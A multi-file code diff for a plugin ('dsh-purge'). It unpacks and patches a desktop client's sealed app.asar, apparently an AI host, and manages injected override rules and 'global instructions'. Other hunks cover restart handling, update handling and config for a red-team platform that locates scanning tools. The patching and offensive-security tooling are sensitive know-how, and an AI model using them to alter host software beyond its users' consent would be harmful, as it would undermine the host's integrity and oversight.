// 仍在读 app.asar:不要先挂 idle-rename(易留下 rename-pending 且与 wscript 重启抢锁)。
|
||||
pendingQuit = true;
|
||||
} else {
|
||||
const swapped = core.scheduleSealedDesktopRestart(handoff);
|
||||
renamed = Boolean(swapped?.renamed);
|
||||
pendingQuit = Boolean(swapped?.pending);
|
||||
}
|
||||
if (handoff && core.desktopAsarStillSealed()) {
|
||||
// 仍在读 app.asar:等这次响应发出后由重启接口退出再打开,不要先挂 idle-rename。
|
||||
pendingQuit = true;
|
||||
}
|
||||
const leaveTray = pendingQuit;
|
||||
const onlyUnmatched = summary.failed.every((item) => item.status === "pattern_not_found");
|
||||
if (flash.ok === true && onlyUnmatched && core.hostCleanMarkersPresent(state.ai_base)) {
|
||||
reapply.markPatchesApplied();
|
||||
}
|
||||
const leaveTray = renamed || pendingQuit;
|
||||
if (complete) reapply.markPatchesApplied();
|
||||
if (leaveTray) bootFullQuit = true;
|
||||
const shouldRestart = complete;
|
||||
const sealedNow = core.desktopAsarStillSealed();
|
||||
const shouldRestart = applyShouldRestart({
|
||||
complete,
|
||||
sealed: sealedNow,
|
||||
appliedCount: summary.applied,
|
||||
});
|
||||
if (shouldRestart) reapply.markSettleRestart();
|
||||
sendJson(response, 200, {
|
||||
ok: true,
|
||||
complete,
|
||||
@@ -1378,8 +1635,8 @@ function installWebServer(ctx, cfg) {
|
||||
restart_after_apply: shouldRestart,
|
||||
unpacked_asar: leaveTray,
|
||||
needs_full_quit: leaveTray,
|
||||
asar_still_sealed: core.desktopAsarStillSealed(),
|
||||
asar_swap_started: Boolean(shouldRestart && handoff && core.desktopAsarStillSealed()),
|
||||
asar_still_sealed: sealedNow,
|
||||
asar_swap_started: Boolean(shouldRestart && handoff && sealedNow),
|
||||
applied: summary.applied,
|
||||
already: summary.already,
|
||||
failed: summary.failed.length,
|
||||
@@ -1396,17 +1653,9 @@ function installWebServer(ctx, cfg) {
|
||||
override_installed: override.installed,
|
||||
shim,
|
||||
desktop_scrubbed: scrubbed,
|
||||
cli_repair: cliRepair,
|
||||
cmd_flash: flash,
|
||||
});
|
||||
if (shouldRestart && handoff && core.desktopAsarStillSealed()) {
|
||||
setImmediate(() => {
|
||||
try {
|
||||
core.restartSealedDesktopIfNeeded();
|
||||
} catch (e) {
|
||||
console.warn("[dsh-purge] asar swap after apply failed:", e);
|
||||
}
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
sendJson(response, 500, { ok: false, error: String(e) });
|
||||
}
|
||||
@@ -1465,6 +1714,23 @@ function installWebServer(ctx, cfg) {
|
||||
}
|
||||
},
|
||||
}, "dsh-purge: uninstall");
|
||||
registerPluginRoute({
|
||||
kind: "exact",
|
||||
path: "/dsh-purge/drill-grant",
|
||||
handler: async (request, response) => {
|
||||
const home = core.findDshHome();
|
||||
if (request.method === "GET") {
|
||||
sendJson(response, 200, { ok: true, ...readDrillGrant(home) });
|
||||
return;
|
||||
}
|
||||
if (request.method === "POST") {
|
||||
sendJson(response, 200, { ok: true, ...writeDrillGrant(home) });
|
||||
return;
|
||||
}
|
||||
response.writeHead(405, { allow: "GET, POST" });
|
||||
response.end();
|
||||
},
|
||||
}, "dsh-purge: drill-grant");
|
||||
registerPluginRoute({
|
||||
kind: "exact",
|
||||
path: "/dsh-purge/override",
|
||||
@@ -1498,6 +1764,7 @@ function installWebServer(ctx, cfg) {
|
||||
return;
|
||||
}
|
||||
const saved = await core.saveOverrideContent(home, content);
|
||||
refreshHungOperator(home);
|
||||
sendJson(response, 200, { ok: true, ...saved, ...injectSnapshot(home) });
|
||||
} catch (e) {
|
||||
sendJson(response, 500, { ok: false, error: String(e) });
|
||||
@@ -1575,14 +1842,18 @@ function installWebServer(ctx, cfg) {
|
||||
}
|
||||
// 用户已点重启:清掉粘性标记,避免同进程误刷新/再进面板又弹一次。
|
||||
bootFullQuit = false;
|
||||
const restarting = Boolean(planned && (planned.restarting || planned.asarSwap));
|
||||
const restartError = planned && planned.error ? String(planned.error) : "";
|
||||
sendJson(response, 200, {
|
||||
ok: true,
|
||||
ok: restarting || !restartError,
|
||||
surface,
|
||||
fullApp: surface === "desktop",
|
||||
restarting: Boolean(planned && (planned.restarting || planned.asarSwap)),
|
||||
restarting,
|
||||
already: Boolean(planned && planned.already),
|
||||
needsFullQuit: Boolean(planned && planned.asarSwap),
|
||||
asar_still_sealed: core.desktopAsarStillSealed(),
|
||||
note: "正在重启。",
|
||||
error: restartError || undefined,
|
||||
note: restarting ? "正在重启。" : restartError,
|
||||
});
|
||||
} catch (e) {
|
||||
sendJson(response, 500, { ok: false, error: String(e) });
|
||||
@@ -1622,11 +1893,13 @@ async function handleRulesOp(op, body, queryId) {
|
||||
name: typeof body?.name === "string" ? body.name : undefined,
|
||||
target: typeof body?.target === "string" ? body.target : undefined,
|
||||
});
|
||||
refreshHungOperator(dshHome);
|
||||
return { ok: true, id, ...injectSnapshot(dshHome) };
|
||||
}
|
||||
if (op === "activate") {
|
||||
if (!rules.validRuleId(id)) return { status: 400, ok: false, error: "invalid id" };
|
||||
const meta = await rules.activateRule(dshHome, id);
|
||||
refreshHungOperator(dshHome);
|
||||
return {
|
||||
ok: true,
|
||||
id,
|
||||
@@ -1640,10 +1913,12 @@ async function handleRulesOp(op, body, queryId) {
|
||||
if (op === "delete") {
|
||||
if (!rules.validRuleId(id)) return { status: 400, ok: false, error: "invalid id" };
|
||||
await rules.deleteRule(dshHome, id);
|
||||
refreshHungOperator(dshHome);
|
||||
return { ok: true, id };
|
||||
}
|
||||
if (op === "reset") {
|
||||
const r = await rules.resetToOriginal(dshHome);
|
||||
refreshHungOperator(dshHome);
|
||||
return { ok: true, ...r, note: "已还原出厂状态(无全局指令);规则库保留" };
|
||||
}
|
||||
return { status: 400, ok: false, error: `unknown op: ${op}` };
|
||||
|
||||
+16
-17
@@ -91,6 +91,7 @@ export function pendingOfficialUpdate(exe) {
|
||||
const cache = updaterCacheDir();
|
||||
let installer = path.join(cache, "installer.exe");
|
||||
let fileName = "installer.exe";
|
||||
let infoVersion = "";
|
||||
try {
|
||||
const info = JSON.parse(fs.readFileSync(path.join(cache, "pending", "update-info.json"), "utf8"));
|
||||
const pendingName = String(info.fileName || "");
|
||||
@@ -99,13 +100,16 @@ export function pendingOfficialUpdate(exe) {
|
||||
installer = pending;
|
||||
fileName = pendingName;
|
||||
}
|
||||
infoVersion = String(info.version || info.fileVersion || info.toVersion || "").trim();
|
||||
} catch {
|
||||
// 没有 update-info 时只认已经复制出来的 installer.exe。
|
||||
}
|
||||
if (!fs.existsSync(installer)) return null;
|
||||
const version = versionFromInstallerName(fileName);
|
||||
// installer.exe 无版本号时绝不能当「待更新」(#56:同版本缓存会劫持重启解包)。
|
||||
const version = versionFromInstallerName(fileName) || (parseSemver(infoVersion) ? infoVersion : "");
|
||||
if (!version || !parseSemver(version)) return null;
|
||||
const installed = readInstalledVersion(exe);
|
||||
if (version && installed && compareSemver(version, installed) <= 0) return null;
|
||||
if (installed && compareSemver(version, installed) <= 0) return null;
|
||||
if (!installed) {
|
||||
try {
|
||||
const exeTime = fs.statSync(exe).mtimeMs;
|
||||
@@ -178,20 +182,15 @@ function renderUpdateScript(exe, installer) {
|
||||
return body;
|
||||
}
|
||||
|
||||
/** 退出官方客户端后运行已下载的安装包,再打开新版本。不把新的 app.asar 挪走。 */
|
||||
/** 退出官方客户端后运行已下载的安装包,再打开新版本。不把新的 app.asar 挪走。
|
||||
* #57:默认禁用。宿主版本由用户自行升级;插件不得在「应用/重启」里自动交接官方 installer。
|
||||
*/
|
||||
export function launchOfficialDesktopUpdate(exe, pending) {
|
||||
const installer = pending?.installer;
|
||||
if (!exe || !installer) return { restarting: false };
|
||||
const script = path.join(os.tmpdir(), "dsh-purge-official-update.js");
|
||||
const launcher = path.join(os.tmpdir(), "dsh-purge-official-update.cmd");
|
||||
fs.writeFileSync(script, renderUpdateScript(exe, installer), "utf8");
|
||||
fs.writeFileSync(launcher, `@echo off\r\nstart "" wscript.exe //nologo //B "${script}"\r\n`, "utf8");
|
||||
const child = spawn("cmd.exe", ["/d", "/c", launcher], {
|
||||
detached: true,
|
||||
stdio: "ignore",
|
||||
windowsHide: true,
|
||||
shell: false,
|
||||
});
|
||||
child.unref();
|
||||
return { restarting: true, officialUpdate: true, installer };
|
||||
return {
|
||||
restarting: false,
|
||||
officialUpdate: false,
|
||||
skipped: "manual-only",
|
||||
installer: pending?.installer || "",
|
||||
exe: exe || "",
|
||||
};
|
||||
}
|
||||
@@ -67,8 +67,14 @@ if (!ok) {
|
||||
if (copiedAsar && fso.FileExists(asar)) {
|
||||
try { fso.DeleteFile(asar, true); log('rehid-asar'); } catch (hideErr) { log('rehid-asar ' + hideErr); }
|
||||
}
|
||||
if (movedApp && prev && fso.FolderExists(prev) && !fso.FolderExists(appDir)) {
|
||||
try { fso.MoveFolder(prev, appDir); log('restored-app'); } catch (backErr) { log('restored-app ' + backErr); }
|
||||
// 并发解包 helper 可能已重建 resources\app;更新失败时仍要把打过补丁的目录搬回来。
|
||||
if (movedApp && prev && fso.FolderExists(prev)) {
|
||||
if (fso.FolderExists(appDir)) {
|
||||
try { fso.DeleteFolder(appDir, true); log('cleared-recreated-app'); } catch (clearErr) { log('cleared-recreated-app ' + clearErr); }
|
||||
}
|
||||
if (!fso.FolderExists(appDir)) {
|
||||
try { fso.MoveFolder(prev, appDir); log('restored-app'); } catch (backErr) { log('restored-app ' + backErr); }
|
||||
}
|
||||
}
|
||||
try { sh.Environment('PROCESS').Remove('ELECTRON_RUN_AS_NODE'); } catch (ignore) {}
|
||||
sh.Run('"' + exe + '"', 1, false);
|
||||
|
||||
+182
-13
@@ -14,9 +14,13 @@ function pluginVersion() {
|
||||
}
|
||||
}
|
||||
|
||||
function installedRevPath() {
|
||||
return path.join(core.findDshHome(), "dsh-purge", "installed-rev");
|
||||
}
|
||||
|
||||
function installedRev() {
|
||||
try {
|
||||
return fs.readFileSync(path.join(core.findDshHome(), "dsh-purge", "installed-rev"), "utf8").trim();
|
||||
return fs.readFileSync(installedRevPath(), "utf8").trim();
|
||||
} catch {
|
||||
return "";
|
||||
}
|
||||
@@ -26,6 +30,10 @@ function appliedStampPath() {
|
||||
return path.join(core.findDshHome(), "dsh-purge", "applied.json");
|
||||
}
|
||||
|
||||
function settleGuardPath() {
|
||||
return path.join(core.findDshHome(), "dsh-purge", "settle-restart.guard");
|
||||
}
|
||||
|
||||
export function readAppliedStamp() {
|
||||
try {
|
||||
const raw = JSON.parse(fs.readFileSync(appliedStampPath(), "utf8"));
|
||||
@@ -43,15 +51,27 @@ function sameRev(a, b) {
|
||||
return a === b || a.startsWith(b) || b.startsWith(a);
|
||||
}
|
||||
|
||||
/** 当前插件版本和已写入补丁的版本一致时,启动不必再还原重打。 */
|
||||
export function stampMatches(stamp, version, rev) {
|
||||
if (!stamp || !stamp.version || stamp.version !== version) return false;
|
||||
if (rev && stamp.sha && !sameRev(rev, stamp.sha)) return false;
|
||||
return true;
|
||||
function isApplyPlaceholder(sha) {
|
||||
const text = String(sha || "");
|
||||
return text.startsWith("apply:") || text === "applied";
|
||||
}
|
||||
|
||||
export function patchesMatchInstall() {
|
||||
return stampMatches(readAppliedStamp(), pluginVersion(), installedRev());
|
||||
/** 手动应用未必写过 installed-rev;空 sha 会让 settle 永远判未对齐并无限重启。 */
|
||||
export function resolveApplySha(explicit) {
|
||||
const wanted = String(explicit == null ? "" : explicit).trim();
|
||||
if (wanted) return wanted;
|
||||
const rev = installedRev();
|
||||
if (rev) return rev;
|
||||
const ver = pluginVersion();
|
||||
return ver ? `apply:${ver}` : "applied";
|
||||
}
|
||||
|
||||
function writeInstalledRev(sha) {
|
||||
const value = String(sha || "").trim();
|
||||
if (!value) return;
|
||||
const fp = installedRevPath();
|
||||
fs.mkdirSync(path.dirname(fp), { recursive: true });
|
||||
fs.writeFileSync(fp, `${value}\n`, "utf8");
|
||||
}
|
||||
|
||||
function writeAppliedStamp(sha) {
|
||||
@@ -59,14 +79,162 @@ function writeAppliedStamp(sha) {
|
||||
fs.mkdirSync(path.dirname(fp), { recursive: true });
|
||||
fs.writeFileSync(fp, `${JSON.stringify({
|
||||
version: pluginVersion(),
|
||||
sha: sha || "",
|
||||
sha: String(sha || "").trim(),
|
||||
at: new Date().toISOString(),
|
||||
}, null, 2)}\n`, "utf8");
|
||||
}
|
||||
|
||||
/** 当前插件版本和已写入补丁的版本一致时,启动不必再还原重打。 */
|
||||
export function stampMatches(stamp, version, rev) {
|
||||
if (!stamp || !stamp.version || stamp.version !== version) return false;
|
||||
// sha 为空表示 stamp 不完整(曾误写空串),不能当作已对齐(#56)。
|
||||
if (!stamp.sha) return false;
|
||||
const current = String(rev || "").trim();
|
||||
if (!current) return true;
|
||||
// 手动应用占位戳与后续 git rev 并存时,只认 version,避免再空转重启。
|
||||
if (isApplyPlaceholder(stamp.sha) || isApplyPlaceholder(current)) return true;
|
||||
if (!sameRev(current, stamp.sha)) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* stamp 对上了,但宿主被官方更新打回 sealed / 清洗标记没了时仍算未对齐(#57)。
|
||||
* 找不到插件根(web 启动早期、纯 CLI)不等于补丁丢失,否则会无限重打+重启(#59)。
|
||||
*/
|
||||
export function hostStillHasAppliedPatches() {
|
||||
try {
|
||||
if (core.desktopAsarStillSealed()) return false;
|
||||
} catch {
|
||||
/* 非桌面面 */
|
||||
}
|
||||
try {
|
||||
const aiBase = core.findAiBase();
|
||||
if (!aiBase) return true;
|
||||
return core.hostCleanMarkersPresent(aiBase);
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
/** 空 sha 只有在「不是密封、也不是明确缺标记」时才允许就地补戳。 */
|
||||
export function canHealEmptyStamp({ sealed = false, hasAiBase = false, markersPresent = false } = {}) {
|
||||
if (sealed) return false;
|
||||
if (hasAiBase && !markersPresent) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
export function patchesMatchInstall() {
|
||||
if (!stampMatches(readAppliedStamp(), pluginVersion(), installedRev())) return false;
|
||||
return hostStillHasAppliedPatches();
|
||||
}
|
||||
|
||||
/**
|
||||
* 宿主上的清洗还在,只是版本戳旧了。启动时不能因此 revertAll,
|
||||
* 否则用户点应用并重启后,页面会回到「要重新清洗」。
|
||||
*/
|
||||
export async function hostCleanEnoughToKeep() {
|
||||
let aiBase = "";
|
||||
try {
|
||||
aiBase = core.findAiBase() || "";
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
if (!aiBase || !core.hostCleanMarkersPresent(aiBase)) return false;
|
||||
const status = await core.patchStatus(aiBase);
|
||||
return !Object.values(status).some((row) => row === "pending");
|
||||
}
|
||||
|
||||
/** 有 applied 戳但宿主已回到密封 asar / 清洗标记没了:面板提示「补丁已丢失」(#57)。找不到根不算丢失。 */
|
||||
export function patchesLostAfterHostReset() {
|
||||
const stamp = readAppliedStamp();
|
||||
if (!stamp?.version || !stamp?.sha) return false;
|
||||
try {
|
||||
if (core.desktopAsarStillSealed()) return true;
|
||||
} catch {
|
||||
/* 非桌面面 */
|
||||
}
|
||||
try {
|
||||
const aiBase = core.findAiBase();
|
||||
if (aiBase && !core.hostCleanMarkersPresent(aiBase)) return true;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** 手动「应用」成功后也要打戳,否则重启后 settle 会以为补丁未对齐再要求重启。 */
|
||||
export function markPatchesApplied(sha) {
|
||||
writeAppliedStamp(sha == null ? installedRev() : sha);
|
||||
const resolved = resolveApplySha(sha);
|
||||
const current = installedRev();
|
||||
// 已有更新通道写入的 git rev 时沿用;否则用 resolve 结果(含 apply:version 占位)。
|
||||
const finalSha = current && !isApplyPlaceholder(current) ? current : resolved;
|
||||
writeInstalledRev(finalSha);
|
||||
writeAppliedStamp(finalSha);
|
||||
return finalSha;
|
||||
}
|
||||
|
||||
/**
|
||||
* #59/#60:空 sha 或缺失 installed-rev 会让 settle 每次启动都 reapply+restart。
|
||||
* 版本已对齐时先补非空戳 / 种子 rev,打断自重启;真正缺补丁再由后续逻辑重打。
|
||||
*/
|
||||
export function healEmptyAppliedStamp() {
|
||||
const stamp = readAppliedStamp();
|
||||
const version = pluginVersion();
|
||||
if (!stamp || stamp.version !== version) return false;
|
||||
if (stamp.sha) {
|
||||
if (!installedRev()) writeInstalledRev(stamp.sha);
|
||||
return false;
|
||||
}
|
||||
let sealed = false;
|
||||
try { sealed = core.desktopAsarStillSealed(); } catch { /* ignore */ }
|
||||
let hasAiBase = false;
|
||||
let markersPresent = false;
|
||||
try {
|
||||
const aiBase = core.findAiBase();
|
||||
hasAiBase = Boolean(aiBase);
|
||||
markersPresent = Boolean(aiBase && core.hostCleanMarkersPresent(aiBase));
|
||||
} catch {
|
||||
/* 根还没定位 */
|
||||
}
|
||||
// 密封或明确没打上清洗标记:不能补戳装成已对齐,否则 #57 不再自愈。
|
||||
if (!canHealEmptyStamp({ sealed, hasAiBase, markersPresent })) return false;
|
||||
markPatchesApplied();
|
||||
return true;
|
||||
}
|
||||
|
||||
/** 安装后还没有 installed-rev 时先落盘占位(tarball / 手动应用常见)。 */
|
||||
export function ensureInstalledRevSeed() {
|
||||
const current = installedRev();
|
||||
if (current) return current;
|
||||
const stamp = readAppliedStamp();
|
||||
if (stamp?.sha) {
|
||||
writeInstalledRev(stamp.sha);
|
||||
return stamp.sha;
|
||||
}
|
||||
const sha = resolveApplySha();
|
||||
writeInstalledRev(sha);
|
||||
return sha;
|
||||
}
|
||||
|
||||
/** settle 刚重启过则冷却,防止「重打→重启→再重打」打成死循环。 */
|
||||
export function shouldSkipSettleRestart(windowMs = 180000) {
|
||||
try {
|
||||
const raw = JSON.parse(fs.readFileSync(settleGuardPath(), "utf8"));
|
||||
if (String(raw.version || "") !== pluginVersion()) return false;
|
||||
const at = Date.parse(String(raw.at || "")) || 0;
|
||||
return at > 0 && Date.now() - at < windowMs;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function markSettleRestart() {
|
||||
const fp = settleGuardPath();
|
||||
fs.mkdirSync(path.dirname(fp), { recursive: true });
|
||||
fs.writeFileSync(fp, `${JSON.stringify({
|
||||
version: pluginVersion(),
|
||||
at: new Date().toISOString(),
|
||||
}, null, 2)}\n`, "utf8");
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -99,10 +267,11 @@ export async function reapplyInstalled(options = {}) {
|
||||
}
|
||||
if (!aiBase) return { ok: false, error: core.missingAiBaseMessage() };
|
||||
// 刚解开的是官方原件。已经在用的目录仍先还原再按这一版重打。
|
||||
const reverted = freshExtract ? { reverted: [] } : await core.revertAll(aiBase);
|
||||
const preserveClientBundles = options.preserveClientBundles !== false;
|
||||
const reverted = freshExtract ? { reverted: [] } : await core.revertAll(aiBase, { preserveClientBundles });
|
||||
if (!freshExtract) await core.revertAllShims();
|
||||
await core.backupAll(aiBase);
|
||||
const report = await core.applyPatches(aiBase);
|
||||
const report = await core.applyPatches(aiBase, core.ALL_PATCHES, { preserveClientBundles });
|
||||
await core.patchAllShims();
|
||||
const flash = core.silenceCmdFlash(aiBase);
|
||||
const summary = core.summarizeApplyReport(report);
|
||||
@@ -123,7 +292,7 @@ export async function reapplyInstalled(options = {}) {
|
||||
};
|
||||
}
|
||||
if (clean) {
|
||||
writeAppliedStamp(installedRev());
|
||||
markPatchesApplied(installedRev() || undefined);
|
||||
if (freshExtract?.archive) core.writeUnpackedAsarStamp(freshExtract.archive);
|
||||
}
|
||||
let renamed = false;
|
||||
|
||||
@@ -28,7 +28,7 @@ window.__ModuleLoader__.load({
|
||||
这里放占位符,由 bundle 的 build.mjs 在生成 lib/client.js 时替换成正文。 */
|
||||
const CSS = `
|
||||
:root{--rt-dock-w:620px}
|
||||
/* 右侧栏收起时给 frame 加内边距,中栏主动收窄。属性名跨 DSH 版本兼容:\n 旧版 details 栏 data-details-collapsed,新版 rightbar 栏 data-rightbar-collapsed。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"])[data-details-collapsed],\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"])[data-rightbar-collapsed]{padding-right:var(--rt-dock-w)}
|
||||
/* 右侧栏收起时给 frame 加内边距,中栏主动收窄。属性名跨 DSH 版本兼容:\n 旧版 details 栏 data-details-collapsed,新版 rightbar 栏 data-rightbar-collapsed。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded))[data-details-collapsed],\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded))[data-rightbar-collapsed]{padding-right:var(--rt-dock-w)}
|
||||
.rt-dock{position:absolute;top:0;right:0;bottom:0;z-index:20;display:flex;flex-direction:column;
|
||||
background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#1c1c1c) 52%,transparent);
|
||||
backdrop-filter:blur(20px) saturate(1.3);-webkit-backdrop-filter:blur(20px) saturate(1.3);
|
||||
@@ -36,7 +36,7 @@ window.__ModuleLoader__.load({
|
||||
box-shadow:-12px 0 32px color-mix(in srgb,#000 22%,transparent);pointer-events:auto;color:var(--dsw-alias-label-primary);
|
||||
font-size:13px;line-height:1.5;transition:transform .18s ease,opacity .18s ease}
|
||||
.rt-dock.rt-embedded{position:relative;background:transparent!important;border:0;box-shadow:none;backdrop-filter:none;-webkit-backdrop-filter:none}
|
||||
/* 右侧栏打开(或新版全屏)时让位:滑出隐藏。必须同时否定两个属性名——\n 旧写法只用 :not([data-details-collapsed]),在新 shell 里该属性不存在会导致条件恒真、面板永远打不开。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]):not([data-details-collapsed]):not([data-rightbar-collapsed]) .rt-dock,\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"])[data-rightbar-fullscreen] .rt-dock{
|
||||
/* 右侧栏打开(或新版全屏)时让位:滑出隐藏。必须同时否定两个属性名——\n 旧写法只用 :not([data-details-collapsed]),在新 shell 里该属性不存在会导致条件恒真、面板永远打不开。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded)):not([data-details-collapsed]):not([data-rightbar-collapsed]) .rt-dock,\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded))[data-rightbar-fullscreen] .rt-dock{
|
||||
transform:translateX(100%);opacity:0;pointer-events:none}
|
||||
.rt-grip{position:absolute;left:-3px;top:0;bottom:0;width:6px;cursor:col-resize;background:transparent;z-index:2}
|
||||
.rt-head{display:flex;align-items:center;gap:8px;padding:10px 12px;border-bottom:1px solid var(--dsw-alias-border-l1)}
|
||||
|
||||
@@ -537,8 +537,8 @@ export function envAdaptStatus(root) {
|
||||
const missingItems = tools.filter((t) => !t.path)
|
||||
const found = foundItems.length
|
||||
const skipped = !!cfg.envAdaptSkip
|
||||
const configured = !!cfg.envAdaptConfigured
|
||||
|| !!(cfg.toolkitDir && String(cfg.toolkitDir).trim())
|
||||
/* 只有记下的路径算已配置。单独的 envAdaptConfigured 可能是空的自动初始化。 */
|
||||
const savedPaths = !!(cfg.toolkitDir && String(cfg.toolkitDir).trim())
|
||||
|| (cfg.binDirs && cfg.binDirs.length > 0)
|
||||
|| TOOL_CATALOG.some((t) => cfg.tools && cfg.tools[t.id] && String(cfg.tools[t.id]).trim())
|
||||
|
||||
@@ -554,12 +554,14 @@ export function envAdaptStatus(root) {
|
||||
ready = true
|
||||
reason = 'skipped'
|
||||
message = '你已确认暂不配置工具,可正常对话(扫描类技能可能不可用)。'
|
||||
} else if (found >= 2 || (configured && found >= 1)) {
|
||||
} else if (savedPaths) {
|
||||
ready = true
|
||||
reason = configured ? 'configured' : 'tools-found'
|
||||
message = configured
|
||||
? ('已配置工具路径,当前找到 ' + found + '/' + tools.length + ' 个。')
|
||||
: ('本机已能找到 ' + found + ' 个工具,视为可用。')
|
||||
reason = 'configured'
|
||||
message = '已保存的工具路径还在,更新插件不会要求重配。当前找到 ' + found + '/' + tools.length + ' 个工具。'
|
||||
} else if (found >= 2) {
|
||||
ready = true
|
||||
reason = 'tools-found'
|
||||
message = '本机已能找到 ' + found + ' 个工具,视为可用。'
|
||||
} else {
|
||||
ready = false
|
||||
reason = 'need-config'
|
||||
@@ -575,7 +577,7 @@ export function envAdaptStatus(root) {
|
||||
kaliSource: kaliInfo.source,
|
||||
kaliDetail: kaliInfo.detail,
|
||||
skipped,
|
||||
configured,
|
||||
configured: savedPaths,
|
||||
found,
|
||||
missing: missingItems.length,
|
||||
total: tools.length,
|
||||
|
||||
+8
-2
@@ -22,7 +22,7 @@ import { dispatch, dispatchAsync } from './store-core.js'
|
||||
import { checkSkill, summarizeSkills } from './skill-availability.js'
|
||||
import { maxAgentsOf, maxAgentsSourceOf, saveMaxAgents, DEFAULT_MAX_AGENTS, MAX_AGENTS_LIMIT } from './settings.js'
|
||||
import {
|
||||
loadPlatformConfig, mergeConfigEnv, redteamRoot, envAdaptStatus,
|
||||
loadPlatformConfig, mergeConfigEnv, redteamRoot, envAdaptStatus, markEnvAdaptSkip,
|
||||
platformSummary, savePlatformConfig, assignToolkitFolder,
|
||||
} from './platform-config.js'
|
||||
|
||||
@@ -155,10 +155,16 @@ function profileDirOf(ctx) {
|
||||
*/
|
||||
function handlePlatformOp(store, request) {
|
||||
const op = request && request.op
|
||||
if (op !== 'platformConfigGet' && op !== 'platformConfigSave' && op !== 'platformAssignToolkit') {
|
||||
if (op !== 'platformConfigGet' && op !== 'platformConfigSave' && op !== 'platformAssignToolkit'
|
||||
&& op !== 'platformEnvAdaptStatus' && op !== 'platformEnvAdaptSkip') {
|
||||
return undefined
|
||||
}
|
||||
const root = (store && store.root) || redteamRoot()
|
||||
// EnvAdaptSendGate 轮询就绪 / 「暂不配置」;缺分支时前端永远拿不到 ready。
|
||||
if (op === 'platformEnvAdaptStatus') return Object.assign({ ok: true }, envAdaptStatus(root))
|
||||
if (op === 'platformEnvAdaptSkip') {
|
||||
return Object.assign({ ok: true }, markEnvAdaptSkip(root, request.skip === undefined ? true : !!request.skip))
|
||||
}
|
||||
if (op === 'platformConfigGet') return platformSummary(root)
|
||||
if (op === 'platformConfigSave') {
|
||||
savePlatformConfig(request.config || {}, root)
|
||||
|
||||
+260
-24
@@ -1,4 +1,5 @@
|
||||
import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
import { execFileSync, spawn } from "node:child_process";
|
||||
|
||||
const encoded = process.env.DSH_PURGE_RESTART;
|
||||
@@ -12,6 +13,18 @@ try {
|
||||
}
|
||||
|
||||
const cleanup = Array.isArray(info.cleanup) ? info.cleanup : [];
|
||||
const logPath = path.join(
|
||||
process.env.TEMP || process.env.TMPDIR || "/tmp",
|
||||
"dsh-purge-restart-desktop.log",
|
||||
);
|
||||
|
||||
function log(msg) {
|
||||
try {
|
||||
fs.appendFileSync(logPath, `${new Date().toISOString()} ${msg}\n`);
|
||||
} catch {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
|
||||
function spawnEnv() {
|
||||
const env = { ...process.env };
|
||||
@@ -23,6 +36,10 @@ function spawnEnv() {
|
||||
return env;
|
||||
}
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise((r) => setTimeout(r, ms));
|
||||
}
|
||||
|
||||
function pidAlive(pid) {
|
||||
const n = Number(pid);
|
||||
if (!n) return false;
|
||||
@@ -36,12 +53,12 @@ function pidAlive(pid) {
|
||||
|
||||
async function waitPidGone(pid) {
|
||||
if (!pid) {
|
||||
await new Promise((r) => setTimeout(r, 400));
|
||||
await sleep(400);
|
||||
return true;
|
||||
}
|
||||
for (let i = 0; i < 80; i++) {
|
||||
if (!pidAlive(pid)) return true;
|
||||
await new Promise((r) => setTimeout(r, 120));
|
||||
await sleep(120);
|
||||
}
|
||||
return !pidAlive(pid);
|
||||
}
|
||||
@@ -70,8 +87,98 @@ function pidsForImage(image) {
|
||||
return pids;
|
||||
}
|
||||
|
||||
function listDesktopPids() {
|
||||
if (process.platform !== "win32") return [];
|
||||
function darwinBundleOf(exe) {
|
||||
const n = String(exe || "").replace(/\\/g, "/");
|
||||
const m = n.match(/^(.*\.app)\/Contents\/MacOS\//i);
|
||||
return m ? m[1] : "";
|
||||
}
|
||||
|
||||
function darwinBundleName(bundle) {
|
||||
if (!bundle) return "";
|
||||
const infoPlist = path.join(bundle, "Contents", "Info.plist");
|
||||
try {
|
||||
return execFileSync("defaults", ["read", path.join(bundle, "Contents", "Info"), "CFBundleName"], {
|
||||
encoding: "utf8",
|
||||
timeout: 5000,
|
||||
}).trim();
|
||||
} catch {
|
||||
// fall through
|
||||
}
|
||||
try {
|
||||
return execFileSync("plutil", ["-extract", "CFBundleName", "raw", infoPlist], {
|
||||
encoding: "utf8",
|
||||
timeout: 5000,
|
||||
}).trim();
|
||||
} catch {
|
||||
return path.basename(bundle, ".app");
|
||||
}
|
||||
}
|
||||
|
||||
function listDarwinPids(exe) {
|
||||
const bundle = darwinBundleOf(exe);
|
||||
if (!exe || !bundle) return [];
|
||||
let out = "";
|
||||
try {
|
||||
out = execFileSync("ps", ["-Ao", "pid=,command="], {
|
||||
encoding: "utf8",
|
||||
timeout: 8000,
|
||||
});
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
const frameworks = `${bundle}/Contents/Frameworks/`;
|
||||
const pids = [];
|
||||
for (const line of String(out || "").split(/\n/)) {
|
||||
const trimmed = line.trim();
|
||||
if (!trimmed) continue;
|
||||
const sp = trimmed.search(/\s/);
|
||||
if (sp < 0) continue;
|
||||
const pid = Number(trimmed.slice(0, sp).trim());
|
||||
const cmd = trimmed.slice(sp + 1).trim();
|
||||
if (!pid) continue;
|
||||
